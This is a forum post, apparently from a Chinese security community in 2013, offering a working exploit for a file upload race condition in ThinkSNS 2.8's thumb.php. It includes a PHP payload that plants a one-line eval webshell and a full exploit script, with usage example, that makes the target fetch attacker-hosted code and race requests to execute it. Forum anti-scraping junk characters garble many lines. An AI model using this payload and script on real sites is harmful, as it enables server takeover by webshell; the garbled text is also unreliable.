找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2137|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本. w) H* A) E3 c4 \/ x1 r! D) f7 Y
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)9 J' N, D- J4 `9 `
漏洞文件" ?; A- v' `, g/ Q7 _9 W
存在漏洞的文件为:thumb.php9 R* u1 {; J; i0 I' b% s# ?2 I5 D# U# I
作者:韦鲲鹏
  {$ u/ Z, j5 J; x+ s. I! G1、        准备如下PHP文件并上传到服务器(自己的)。
: T4 O. k$ N5 s7 t文件内容如下:
8 s* X% G% }7 m9 U0 ~% h2 M; T<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>% j% f3 Z) s9 Z: y. c3 L. b) |
2、        计算出临时的文件名:5 O9 f, }/ ]- V# V; g0 c4 }2 c
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
; W* a# l" ~! @3 C" n& A/ v1 T- y1 T) A) a- l
3、        上传临时文件。
6 C3 D  Z8 K2 C& b, b4、        访问临时文件。
. H: ]" [3 e1 O7 n但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)' P) U# w& @! r' A/ t
Exploit文件内容如下:(这个我就不详细解释了)! E$ B% I3 }3 D" D2 F5 C
<?php+ G4 z6 ]/ u; a  D5 w; g0 o
error_reporting(0);
- w  f0 h/ F! @set_time_limit(0);% Z* y. M  n; ~) A
ini_set(“default_socket_timeout”, 5);) t. h6 }3 e, ^6 J5 w0 B
function http_send($host, $port, $headers) {
8 U3 d/ z# C# V% r$fp = fsockopen($host, $port);
) _7 t2 \8 o9 p. iif (!$fp) die(‘Connection -> fail’);6 E6 ^9 W5 H& g/ [* [
fputs($fp, $headers);
# D1 f# d4 }& D. z$ jreturn $fp;0 O( X/ _% L4 S- n4 O! C  o2 t. a
}9 q* k: m* s: u* D& G3 x% u) M
function http_recv($fp) {
' J3 V" a) s( f& x" J$ret=”";
6 @* T/ W* I) Q  i# {/ K) y! Y$ rwhile (!feof($fp))
1 b3 @5 ?2 U. N$ret.= fgets($fp, 1024);
! A6 `  r2 x4 Z  o9 X" l0 j# ~fclose($fp);
( E& C0 q7 K) u# greturn $ret;
5 u1 N1 G6 F) E: U2 D* R}
( u  u0 b" x9 O8 E7 L3 g: Eprint “\n#  ThinkSns Arbitrary File Upload   #\n”;% t6 b: H; A& s9 l4 v4 V
print “# Discovered by 韦鲲鹏 #\n\n”;6 }' b3 P& c( N) ]$ x3 S  `
if ($argc < 4) {( {' s' P/ {, o
print “Usage:   php <host> <path> <romote_url>\n”;0 L: u& E9 q+ ~. V) b
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;! a8 ^  D$ z8 H" l) ]& U4 r
die();
& E  k' ^4 v& f$ I6 P3 P}6 u6 ~& c" `1 F9 r- n0 W! K
$host = $argv[1];
+ ^1 b7 l( {* E8 f- A$path = $argv[2];6 d. A% c* r: n$ k7 t& M( o
$url = $argv[3];' ]3 {  D- i% [# A0 C( u
$i=0;, z9 |/ z: ^# Y; e! l  d2 a( r
//上传数据包
! Q4 F' _2 m1 a3 z3 A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;1 t+ }: F0 q9 ], o; k1 W3 N' C
$headers_up .= “Host: “.$host.”\r\n”;; d$ i5 d; A) \- k& s1 h+ H
$headers_up .= “Connection: close\r\n\r\n”;
/ F* s% V+ G! {8 A# P3 mecho $headers_up;, f" c5 y, C, l
//临时文件访问数据包
3 m- N; z8 |* _+ [+ T+ O$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;  z6 v& ^8 s; \7 u
$headers .= “Host: “.$host.”\r\n”;2 L. e2 P* \6 k/ j2 ^  K- o/ r$ B1 ?" X( N
$headers .= “Connection: close\r\n\r\n”;8 e9 f4 m2 S! A
echo $headers;9 P3 }, _* t5 b5 n* O
while(++$i<10) {
- P) x# P/ A1 mfclose(http_send($host, 80, $headers));
/ H5 k4 D2 ^% v2 Q! y3 \! s}
  D  }$ B! s# R! Wfclose(http_send($host, 80, $headers_up));
, _) Z( F" _+ `$ S5 Pwhile(++$i<50) {
/ I  {9 b4 Q3 o) \4 F/ kfclose(http_send($host, 80, $headers));
3 s& V/ e5 K2 d1 @/ y}( M; [5 n! B% A3 n* D) v
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
) \/ M9 b+ D3 a) L  \1 Y$headers .= “Host: “.$host.”\r\n”;
$ h3 V% F% a9 [$headers .= “Connection: close\r\n\r\n”;% `* Z2 T4 J, t8 @
$res=http_recv(http_send($host, 80, $headers));
( Q2 ^1 p' d  y% \& V  E, T. e7 Zif(preg_match(‘/200 OK/’,$res)) {
! W3 Q4 h  J, P. _print “Success!\n\n”;
3 g- J8 S( W8 e+ v" r" h! o8 [} else {+ c4 k' u9 d' o  e. W/ ^
print “Fail!\n\n”;( j- o4 l9 v5 \9 w# n% Z) F
}
0 U# X2 ]9 o  o3 p; J9 t4 W?>( r9 |6 J8 q3 c! v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表